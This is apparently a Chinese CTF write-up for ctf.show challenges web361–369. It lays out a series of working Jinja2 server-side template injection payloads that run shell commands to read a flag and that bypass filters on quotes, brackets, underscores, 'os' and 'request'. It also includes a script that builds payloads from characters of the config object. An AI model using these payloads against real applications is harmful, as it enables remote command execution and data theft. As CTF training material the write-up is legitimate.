web361
根据题目提示参数应该是name
?name={{().__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__[‘eval’](‘import(“os”).popen(“cat /flag”).read()’)}}
.__class__获取当前对象的类
.__base__获取直接父类,这里就是object类
.__subclasses()__获取全部子类,取【185】,这里是<class 'warnings.catch_warnings'>
.__init__初始化对象函数
.__globals__函数对象的一个属性,里面保存这个函数定义时所在模块的全局命名空间
__builtins__ 因为global获取的是当前__init__函数所在模块的命名空间,大概率不包含eval这种python内置函数,而globals内有一个__builtins__对应的就是Python 的内置名字集合,里面就包含eval
再取出[‘eval’]执行(‘import(“os”).popen(“cat /flag”).read()’)读取内容
这里.__builtins__询问ai的时候告诉我应该是作为一个键来用的应该是[‘__builtins__’]尝试了两种情况都可以得出结果,还不明白是为什么。
web362
和上题一样,或者使用subprocess.Popen()
?name={{().class.mro[1].subclasses()[407](“cat /flag”,shell=True,stdout=-1).communicate()[0]}}
web363
过滤了单双引号
?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0].decode()}}&a=cat /flag
web364
name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
和上一题request.args不同的是,这里的value包括get和post两种参数
以上内容可能会有遗漏或错误,欢迎留言指正。
web365
?name={{().__class__.__base__.__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag
用__getitem__绕过中括号过滤
web366
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
下划线过滤,用 对象 | 过滤器 语法绕过, 这里就是取lipsum的__globals__属性
web367
?name={{(lipsum | attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
os被过滤,用get()绕过
web368
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag
这里有个语法变化
{{ ... }}:表达式输出(自动 print)
{% ... %}:语句执行(需要手动 print) 绕过{{request}}
web369
{%%}中过滤了request
利用config文本的字符拼接payload
脚本如下
import requests
def getpayload(payload):
result = ""
for j in payload:
for i in range(1000):
r = requests.get(url="http://e49b08f8-d479-408d-9984-601ca9cd0e08.challenge.ctf.show/?name="+"{"+"% print(config|string|list).pop({}).lower()%".format(i)+"}")
location = r.text.find("<h3>")
part = r.text[location+4:location+5]
if part.lower() == j:
result += "(config|string|list).pop({0}).lower()".format(i)
print(result)
break
print(result)
if __name__ == "__main__":
getpayload("cat /flag")
print("///")
getpayload("__globals__")
print("///")
getpayload("os")
payload如下
https://e49b08f8-d479-408d-9984-601ca9cd0e08.challenge.ctf.show/?name={%print(lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(22).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}


